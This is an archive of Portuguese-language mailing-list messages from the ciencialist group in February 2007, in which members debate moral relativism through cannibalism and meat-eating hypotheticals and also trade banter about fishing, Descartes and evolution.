Podemos continuar a "subir" na análise da questão, de forma cada vez mais subjetiva. Não devemos comer um ser humano porque representa um ser especial, mais nobre. Ou não devemos comer um corpo humano, porque o sofrimento de seus parentes e entes queridos não compensa o valor alimentar que este tenha (e não há como evitar essa dor, de ver um ser que um dia foi seu filho, irmão ou amigo, sendo devorado).

Podemos chegar ao limite da subjetividade filosófica, a religião: não devemos comer seres humanos porque deus não quer. Isso, embora encerre qualquer discussão, não pode ser objeto de verificação..:-)

Acho que sua pergunta "simples" ainda pode gerar muitos e muitos emails, e muitas e muitas considerações interessantes.

Um abraço.

Homero

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SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 20:00

Se é verdade que a ética é circustancial, e não há uma ética universal.

Pode ser desfavorável para a indústria anunciar a verdade sobre tudo que vende,
para quê rótulos e por que não aceitar alimentos geneticamente modificados?

Por que ser contra a obtenção de produtos mais baratos vindos do trabalho escravo?

Tudo é permitido, não existe uma ética universal também não deveríamos viver sobre leis, sobre obrigações tampouco praticando atos que contrariam a nossa natureza animal...

Segundo Peter Singer, "...é verdade que alguns tendem ao subjetivismo excessivo, afirmando que uma moralidade é tão boa quanto outra qualquer; mas, quando essas mesmas pessoas são pressionadas a dizer se acreditam que a moralidade de Hitler, ou a dos traficantes de escravos é tão boa quanto a de Albert Schweitzer ou a de Martin Luther King, reconhecem que, afinal, acreditam que algumas moralidades são melhores que outras" (Libertação Animal, p. 276).







Victor <jvoneto@uol.com.br> escreveu: Ricardo,

Você fechou claramente o que tentei expor com exemplos, centrados em circunstâncias igualmente claras. Moral, ética, religião, comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é de uma clareza, sobre o que não tenho dúvidas, o que me economiza o tempo de estar elaborando perguntas e mais perguntas. Minha realidade é minha realidade. A de outros, é a de outros. Que só depende do lugar e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina que eu, civilizado como penso que sou, tivesse nascido em uma tribo brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de perna, um... Se não fosse ela, seria eu. Bem, já almocei.

Sds,
Victor.

----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 2:53 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )

Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne:
enfim o método )

> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
>> as coisas são assim,na natureza.
>>
>> Sds,
>> Victor.
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
>>
>>
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>> lei. Caso não seja
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>> cópia são proibidas.
>> Favor
>> apagar as informações e notificar o remetente. O
>> uso impróprio será
>> tratado
>> conforme as normas da empresa e a legislação em
>> vigor. Agradecemos sua
>> colaboração.
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> O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] Re: P/ Victor (Era Re.:As baratas, nossas irmãzinhas!!! )
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 20:03

Mesmo que eu quisesse comer o bife dele não poderia,
ele mora a km de distância...

romano_170 <romano_170@yahoo.com.br> escreveu: Bruna voce não foi grossa comigo, e eu não tenho raiva de voce, muito
pelo contrário, tenho até simpatia.

Mas, eu adoro encarnar nas pessoas, e fiz uma brincadeira com voce,
voce não aceitou , tudo bem. É seu direito. Só continuo achando que
voce come o bife do seu irmão :-) Tadinho

Abs,Romano

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
<brunacribas@...> escreveu

>
> NB:Bem, eu não sou gorda, nunca fiz nenhuma dieta, eu não acredito
nisso.Penso que qdo uma pessoa quer emagrecer deveria apostar na
reeducação alimentar e em exercícios físicos.Talvez eu tenha sido
grosseira com ele, o Romano, e meu último e-mail falando sobre
veganismo, tenha culminado em raiva nele.
> Não era minha intenção.Modéstia à parte, sou bonita além de
inteligente, porém isso nunca me importou, o que eu sempre quis foi
fazer uma diferença no mundo, e essa é uma conquista que depende de
outros fatores que não beleza física.
>
>





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SUBJECT: Re: E ética de cada um...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 20:26

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> Segundo Peter Singer, "...é verdade que alguns tendem ao
> subjetivismo excessivo, afirmando que uma moralidade é tão boa
> quanto outra qualquer; mas, quando essas mesmas pessoas são
> pressionadas a dizer se acreditam que a moralidade de Hitler, ou a
> dos traficantes de escravos é tão boa quanto a de Albert Schweitzer
> ou a de Martin Luther King, reconhecem que, afinal, acreditam que
> algumas moralidades são melhores que outras" (Libertação Animal, p.
> 276).

A pergunta é: e quem disse q a sua ética é melhor do q a minha?

Dizer q uma ética é melhor do q a outra é, por si só, um julgamento
ético. Ao q um indivíduo B reconhece como o indivíduo A q a ética de
Luther King é melhor do q a ética de Hitler, tudo o q está a se
estabelecer é um ponto comum entre as éticas de B e de A. Göbbels
certamente diria q a ética de Hitler é melhor do q a de Luther King,
e, provavelmente, membros da KKK tb dirão. E la nave va...

O modo mais eficiente de se discutir ética - racionalmente - é
explorar os pontos comuns: desenhar um mapa virtual dos pontos comuns
dos territórios entre as duas éticas, ver q preceitos básicos são
partilhados entre os indivíduos (o q não significará uma ética
universal - apenas pontos em comum entre duas éticas).

Ao q vc se recusa responder se salvaria 200 vacas ou se salvaria um
único homem, vc se recusa a estabelecer esse mapeamento.

[]s,

Roberto Takata



SUBJECT: Re: Qual o objetivo do cartesianismo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 21:32

--- Em ciencialist@yahoogrupos.com.br, LECarvalho <lecarvalho@...>
> >Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo
> >acha que tem.
> >Roberto Takata
>
> Essa frase não é de você...
>
> é do Renê.

A de Descartes é um pouco diferente, termina com: "ninguém deseja ter
mais do que já possui".

[]s,

Roberto Takata



SUBJECT: Qual o objetivo do cartesianismo?
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 21:56


>Bom senso é um dos bens mais bem distribuídos do mundo: todo mundo acha
>que tem.
>Roberto Takata




Essa frase não é de você...

é do Renê.




L.E.































=



SUBJECT: ética de silicone...
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 21:57


>A pergunta é: e quem disse q a sua ética é melhor do q a minha?
>[]s,
>Roberto Takata





Vai ver que é porque custou mais caro.




L.E.









































=



SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 22:07

Silvio, oi.
...se eram... as cordas eram vitais!
Caralho! Eu nunca poderia imaginar que os ''Cordeiros'' vinham de cordas!
Pensei que teria que ver com os filhos das ovelhas; coisa de religião!
Parabens pelo seu menino!
Já pesquei bastante, saindo de Piúma.
Bons tempos.
abr/M.


>From: "Silvio" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>Date: Mon, 12 Feb 2007 22:24:17 -0300
>
>Murilo:
>depois de aposentavo vim pro mar, tinho carteira de mestre de pesca, um
>filho é marinheiro, começou agora, espero que em 6 anos seja oficial de
>náutica. Sou de familia ligada ao mar desde os avoengos que fugiram da
>irlanda e foram pra Portugal fazer cordas para as naves que cruzaram os
>mares nunca dantes navegados.... e, no barco, o cordeiro tinha função
>importante!!!
>
>sds.,
>silvio.
>
>
> ----- Original Message -----
> From: murilo filo
> To: ciencialist@yahoogrupos.com.br
> Sent: Monday, February 12, 2007 9:17 PM
> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>
>
> Silvio:
> pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
> Sem marinha.
> Desistí de entrar na marinha p/encarar a legião estrangeira...
> Eu queria é confusão.
> Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
> sossegado! Me safei! :[
> E vc, é marinheiro?
> abr/M.
>
> >From: "Silvio" <scordeiroes@superig.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: <ciencialist@yahoogrupos.com.br>
> >Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
> >Date: Mon, 12 Feb 2007 16:28:01 -0300
> >
> >Murilo:
> >vs. é da marinha? (safo)
> >
> >silvio
> >
> > ----- Original Message -----
> > From: murilo filo
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Thursday, February 08, 2007 9:54 PM
> > Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
> >
> >
> >
> >
> > Eu também sabia... Estou safo!
> >
> > Atividade nos últimos dias
> > a.. 1Novos usuários
> > b.. 1Novas fotos
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> > Checked by AVG Free Edition.
> > Version: 7.1.411 / Virus Database: 268.17.27/671 - Release Date:
> >5/2/2007
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> Version: 7.5.441 / Virus Database: 268.17.37/682 - Release Date:
>12/2/2007 13:23
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SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 22:27

Uma ligeira risada troll:
háá, háááááá....


>From: José Renato <jrma@terra.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>Date: Tue, 13 Feb 2007 18:18:46 -0300
>
>Legião estrangeira?!
>Papo no grupo que está se alistando no exército.
>- Por que vc quer servir?, pergunta um cara casado de meia-idade para o
>jovem solteiro ao lado.
>- Estou querendo ação e emoção... E o senhor, por que quer servir?
>- Estou em busca de paz...
>........................................
>
>From: "murilo filo" <avalanchedrive@To: <ciencialist@yahoogrupos.com.br>
>Sent: Monday, February 12, 2007 9:17 PM
>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>
>
> > Silvio:
> > pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
> > Sem marinha.
> > Desistí de entrar na marinha p/encarar a legião estrangeira...
> > Eu queria é confusão.
> > Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
> > sossegado! Me safei! :[
> > E vc, é marinheiro?
> > abr/M.
> >
> >
> >>From: "Silvio" <scordeiroes@superig.com.br>
> >>Reply-To: ciencialist@yahoogrupos.com.br
> >>To: <ciencialist@yahoogrupos.com.br>
> >>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
> >>Date: Mon, 12 Feb 2007 16:28:01 -0300
> >>
> >>Murilo:
> >>vs. é da marinha? (safo)
> >>
> >>silvio
> >>
> >> ----- Original Message -----
> >> From: murilo filo
> >> To: ciencialist@yahoogrupos.com.br
> >> Sent: Thursday, February 08, 2007 9:54 PM
> >> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
> >>
> >>
> >>
> >>
> >> Eu também sabia... Estou safo!
> >>
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> > Scan engine: McAfee VirusScan / Atualizado em 12/02/2007 / Versão:
> > 5.1.00/4961
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SUBJECT: Re: [ciencialist] amenidades
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 22:33

Zérre!
Qual o Nobel que vc pretende?
Deixa alguma coisa pra nós, meu... abr/M.


>From: José Renato <jrma@terra.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] amenidades
>Date: Mon, 12 Feb 2007 21:13:52 -0300
>
>Olá, Murilo!
>Pode ser que quando já estiver de posse de todo o conhecimento eu não tenha
>mais interesse de permanecer na lista e vou viver de prêmio Nobel. Por
>enquanto fico e agradeço pela sua gentil acolhida.
>[]s
>JR
>...............................
>
>From: "murilo filo" <avalanchedrive@To: <ciencialist@yahoogrupos.com.br>
>Sent: Sunday, February 11, 2007 1:06 PM
>Subject: Re: [ciencialist] amenidades
>
>
> > Taí... Zerrenato!!!
> > Rapaz de juízo!
> > Vai acabar desistindo da lista, mas seja muito bem-vindo!
> > Abração. M. SP 11/fev
> >
> >
> >>From: José Renato <jrma@terra.com.br>
> >>Reply-To: ciencialist@yahoogrupos.com.br
> >>To: <ciencialist@yahoogrupos.com.br>
> >>Subject: Re: [ciencialist] amenidades
> >>Date: Sun, 11 Feb 2007 10:01:59 -0300
> >>
> >>Olá, Silvio!
> >>Mesmo com todas essas imperfeições os seres humanos conseguem perceber
>as
> >>maravilhas do existir. Mesmo com uma estrutura biológica e cognitiva
> >>imperfeita alguns humanos têm a pretensão da perfeição. Muitos caem na
> >>tentação de criticar o próprio Criador-Mantenedor, que lhe concedeu
> >>condições tais, que lhes permitem criticar os "projetos" Dele!
> >>Entretanto, considerando que o corpo humano é um "equipamento"
>provisório
> >>e
> >>descartável, a adequação ao uso deve ser o principal objetivo para obter
>a
> >>solução mais inteligente e econômica.
> >>[]s
> >>JR
> >>.............................................
> >>
> >>----- Original Message -----
> >>From: "Silvio" <scordeiroes@superig.com.br>
> >>To: <ciencialist@yahoogrupos.com.br>
> >>Sent: Saturday, February 10, 2007 10:05 AM
> >>Subject: Re: [ciencialist] amenidades
> >>
> >>
> >>Deus:
> >>As facilidades apontadas para o novo admirável mundo, permita-me a
>ousadia
> >>da sugestão: incluir todo o equipamento diretamente no DNA replicante
>para
> >>que o custo fique bem menor. A problemática é que teremos de fazer
> >>implantes
> >>espermáticos com a nova tecnologia pois corrigir o DNA de alguns
>trilhões
> >>a
> >>cada conexão humana.....
> >>
> >>silvio
> >> ----- Original Message -----
> >> From: Luiz Ferraz Netto
> >> To: ciencialist@yahoogrupos.com.br
> >> Sent: Saturday, February 10, 2007 9:01 AM
> >> Subject: Re: [ciencialist] amenidades
> >>
> >>
> >> Não, a coisa não se desenvolverá assim. Ainda ontem numa reunião
> >> divina,
> >>cá em nosso New Olimpy, constatou-se as besteiras de design que fizemos.
> >>Chegamos à conclusão que não fizemos design nenhum, foi tudo na base da
> >>gambiarra; aproveitamos partes já prontas em enfiamos em espécies
> >>diferentes, e o resultado é esse quadrúpede de pé que resultou!
> >> A evolução tecnológica passou à frente da evolução das espécies e,
> >> dando
> >>uma olhadela no futuro (raramente fazemos isso pois sabemos que "a única
> >>certeza é a incerteza das coisas") vislumbramos que:
> >> ao nascer a criança já fará o implante de relógio neural; basta
>pensar
> >>em
> >>"hora" e o resultado virá de imediato; terá implante de câmara de vídeo
> >>(nanocâmara) atrás da cabeça, também ligada ao nervo óptico (visão
> >>estereoscópica dianteira e traseira); sub-câmara ligadas aos tornozelos
> >>(ninguém mais chutará pedras ou baterá na quina da mesa --- além de ver
>as
> >>pernas das garotas por baixo da mesa); o telefone, já uma espécie
>avançada
> >>do celular atual, será implantado no corpo com agenda maior que a lista
> >>telefônica, comando digital neural (não é preciso falar; o pensamento
>será
> >>processado e enviado -- a antena fará parte do lóbulo das orelhas) e
> >>recepção direta no nervo auditivo. Receptor de TV já acoplado ao
>telefone
> >>neural etc. As mulheres poderão assistir novelas deitadas e de olhos
> >>fechados --- o canal sirvosantos transmitirá sinal de cheiro,
>temperatura,
> >>umidade, pressão etc. O implante de lentes corretoras da visão,
>incluindo
> >>uma nova retina de 250 gigapixel, permitira delinear detalhes em objetos
>a
> >>5
> >>km de distância.
> >> A Internet Neural dispensará uso dos dedos, os quais ficarão
>reservados
> >>apenas para apontar, cutucar, beliscar, apalpar e voltar aos bolsos.
> >>
> >> Isso foi apenas parte do que vimos no futuro.
> >> Ah! No futuro não haverá vegetarianos; as pílulas protéicas e demais
> >>nutrientes foram desenvolvidas e crescem na boca --- mastigaremos carne
> >>bovina sangrenta!
> >>
> >> aquele abraço,
> >>
> >> ===========================
> >> Luiz Ferraz Netto [Léo]
> >> leobarretos@uol.com.br
> >> http://www.feiradeciencias.com.br/doacoes.asp
> >> ===========================
> >> -----Mensagem Original-----
> >> De: "Silvio" <scordeiroes@superig.com.br>
> >> Para: <ciencialist@yahoogrupos.com.br>
> >> Enviada em: sábado, 10 de fevereiro de 2007 01:50
> >> Assunto: Re: [ciencialist] amenidades
> >>
> >> Já estão programados: insetos.
>(deletei o restante)
>
>
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>http://www.ciencialist.hpg.ig.com.br
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>
>




SUBJECT: Com troll, não dá..:-) (era As baratas, nossas irmãzinhas!!!
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 23:12

Olá pessoal

Vou violar a norma civilizatória das listas de discussão, que
determina "não alimente os trolls", porque
Bradock/Tagore/Rtjunior/Pubmed/etc e Romano_170 acaba tirando a gente
do sério.

Tagore/etc: "Não concordo. Existem leis naturais universais válidos
pra qualquer cultura, o amor é uma delas, o ódio em qualquer cultura é
prejudical, nos leva a matar e cometer todos os tipos de atrocidades."

Quanta asneira!!!

Leis naturais NÃO são a ética, nem se confundem com normas morais.
Amor e ódio NÃO são leis naturais, NÃO SÃO imperativos éticos
universais, e o trolll NÃO entende nada de nada. Mas atrapalha um
bocado..:-)

Matar nem sempre tem algo a ver com ódio e pode ter com amor. Leões
matam para se alimentar, sem ódio. E matam filhotes de outros leões,
sem ódio igualmente.

Bradock/Ou_seja_lá_qual_o_seu_nick_agora: "Se as leis da física valem
em qualquer lugar da Terra, as leis morais tb são válidas a qualquer
cultura."

Putz, essa ganhou o "Premio de Maior Tolice já Escrita em Uma Lista de
Discussão"..:-) Nem sei se vale a pena responder ou argumentar.
Misturar leis da física com normas culturais humanas, fala sério, é
demais.

Pubmed/É_o_mesmo_cara_ainda: "Não podemos dar como normal o
linchamento de pessoas em determinadas culturas."

Que diabos tem a ver o c* com as calças?!?!?! Nós não damos como
normal, mas essas culturas, cujas normas consideram o linchamento
válido, sim. E, moralmente, elas não ligam para o que pensamos sobre isso.

É JUSTAMENTE porque EXISTEM culturas que pensam diferente de nós, com
valores diferentes, que afirmamos que não há uma ética universal ou
absoluta!!! Reconhecer que EXISTEM culturas que lincham pessoas,
deveria demonstrar, até para o troll, que NÃO existem absolutos nessa
questão!!!

Romano/Enganei_voces_de_novo: "Pelos direitos humanos universais, todo
mundo merece um julgamento digno. Enfim, é um assunto muito discutível"

PQP!! (perdoem a expressão chula, mas tá difícil..:-) Esse assunto é
discutível, no sentido de poder ser discutido, mas não por trolls ou
afins, sem a menor noção do que dizem ou do que lêem..:-)

Acho que essa expressão define o troll: sem noção, completamente sem
noção..:-)

Um abraço.

Homero





SUBJECT: Re: Com troll, não dá..:-) (era As baratas, nossas irmãzinhas!!!
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/02/2007 23:27

Discordo. As leis morais existem, e elas são naturais. Ela não podem
ser aprisionadas num sistema de pensamento, mas existem. Sem amor, a
humanidade se destrói, é inevitável. O amor e o ódio,e e outras
emoções são nuances comportamentais, faz parte do comportamento
humano, que se origina das emoções , e são estudadas pela etologia e
neurociências -...portanto pertencem a narureza. O ser humano não é um
ser a parte da natureza

Sobre matar depende, leões não sentem ódio comparavel aos humanos,
eles matam por fome ou por instinto, ou defendendo seu território, ou
por razões seletivas inconscientes. Nós já matamos intencionalmente
por simples prazer ou vingança.

Leões não são racionais como os humanos, então, quando matam os
filhotes, eles atendem a um imperativo natural(seleção natural), isso
não é ódio. Jogar e atirar uma bomba num restaurante é ação baseada em
ódio e repúdio aos seres humanos. Não traz benef´cios, extermina
populações. A ação do leão é benéfica, ela seleciona no tempo
geológico, os genes mais fortes e robustos para enfrentar a
sobrevivencia. Tem uma finalidade adaptativa, mesmo que o leão aja de
modo insconsciente

Então comparar leão com ser humano é patético, irracional e
profundamente irreflexivo.

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá pessoal
>
> Vou violar a norma civilizatória das listas de discussão, que
> determina "não alimente os trolls", porque
> Bradock/Tagore/Rtjunior/Pubmed/etc e Romano_170 acaba tirando a gente
> do sério.
>
> Tagore/etc: "Não concordo. Existem leis naturais universais válidos
> pra qualquer cultura, o amor é uma delas, o ódio em qualquer cultura é
> prejudical, nos leva a matar e cometer todos os tipos de atrocidades."
>
> Quanta asneira!!!
>
> Leis naturais NÃO são a ética, nem se confundem com normas morais.
> Amor e ódio NÃO são leis naturais, NÃO SÃO imperativos éticos
> universais, e o trolll NÃO entende nada de nada. Mas atrapalha um
> bocado..:-)
>
> Matar nem sempre tem algo a ver com ódio e pode ter com amor. Leões
> matam para se alimentar, sem ódio. E matam filhotes de outros leões,
> sem ódio igualmente.
>
> Bradock/Ou_seja_lá_qual_o_seu_nick_agora: "Se as leis da física valem
> em qualquer lugar da Terra, as leis morais tb são válidas a qualquer
> cultura."
>
> Putz, essa ganhou o "Premio de Maior Tolice já Escrita em Uma Lista de
> Discussão"..:-) Nem sei se vale a pena responder ou argumentar.
> Misturar leis da física com normas culturais humanas, fala sério, é
> demais.
>
> Pubmed/É_o_mesmo_cara_ainda: "Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas."
>
> Que diabos tem a ver o c* com as calças?!?!?! Nós não damos como
> normal, mas essas culturas, cujas normas consideram o linchamento
> válido, sim. E, moralmente, elas não ligam para o que pensamos sobre
isso.
>
> É JUSTAMENTE porque EXISTEM culturas que pensam diferente de nós, com
> valores diferentes, que afirmamos que não há uma ética universal ou
> absoluta!!! Reconhecer que EXISTEM culturas que lincham pessoas,
> deveria demonstrar, até para o troll, que NÃO existem absolutos nessa
> questão!!!
>
> Romano/Enganei_voces_de_novo: "Pelos direitos humanos universais, todo
> mundo merece um julgamento digno. Enfim, é um assunto muito discutível"
>
> PQP!! (perdoem a expressão chula, mas tá difícil..:-) Esse assunto é
> discutível, no sentido de poder ser discutido, mas não por trolls ou
> afins, sem a menor noção do que dizem ou do que lêem..:-)
>
> Acho que essa expressão define o troll: sem noção, completamente sem
> noção..:-)
>
> Um abraço.
>
> Homero
>




SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 00:05

Após JR -, OK?

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 7:32 PM
Subject: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> Takata, entendo que a evidência principal é a sobrevivência do ser
> até hoje.

Essa não é uma evidência, posto q a outra hipótese tb explica isso.
Que outra hipótese? A evidência é que o ser sobreviveu até hoje e
sobreviverá se não houver uma mudança brusca no meio ambiente.

> O direcionamento é simples e direto: adaptar para sobreviver.

Aí vc está cometendo o erro chamado petição de princípio. Vc está
assumindo a priori q há uma antevisão para concluir a partir disso q
há uma intenção. De todo modo a adaptação é *a posteriori*. Só
poderíamos falar em planejamento ou intenção se a adaptação fosse *a
priori*.
JR - Não creio que haja planejamento ou intenção mas sim adaptação por
questão, digamos, de economia energética visando manter o ser vivo.

Por exemplo, se um engenheiro, contratado para construir prédio
resistentes a terremotos propusesse o seguinte plano: "Iremos
construir diversos prédios, cada qual seguindo metodologias
completamente diferentes uma das outras, aí esperamos q haja um
terremoto e veremos quais prédios resistiram mais. Aí substituímos os
prédios q caíram por prédios q são variações dos projetos q resistiram
mais". Poderíamos demitir sumariamente esse engenheiro por
incompetência e falta de planejamento.
JR - Mas é exatamente isso que é ocorre na prática em um período de tempo
maior. Os projetos que se mostram mais adequados a suportar terremotos e tem
os menores custos, são os copiados, pesquisados e aprimorados...

[]s,
Roberto Takata

[]s
José Renato



SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 00:12

As mutações seriam direcionadas para quê ou para onde?
A "intenção" surge da interação com o meio ambiente, é uma contínua
adaptação necessária do ser em manter as condições de vida, reduzindo,
acelerando ou adequando algumas das suas atividades biológicas.
[]s
